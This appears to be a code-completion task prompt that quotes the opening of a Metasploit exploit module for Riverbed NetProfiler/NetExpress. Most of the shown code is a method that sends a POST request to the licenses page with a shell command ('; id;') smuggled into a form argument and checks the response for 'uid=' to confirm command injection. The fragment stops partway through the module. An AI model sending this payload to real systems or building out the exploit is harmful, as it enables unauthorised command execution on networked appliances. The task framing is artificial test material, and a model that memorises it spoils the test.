You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: riverbed_netprofiler_netexpress_exec.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropp
    
  def test_cmd_inject
    post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;"

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'),
      'cookie' => "SESSID=#{@sessid}",
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => false,
      'data'     => post_data
     })

    unless res && res.body.include?('uid=')
      fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
    end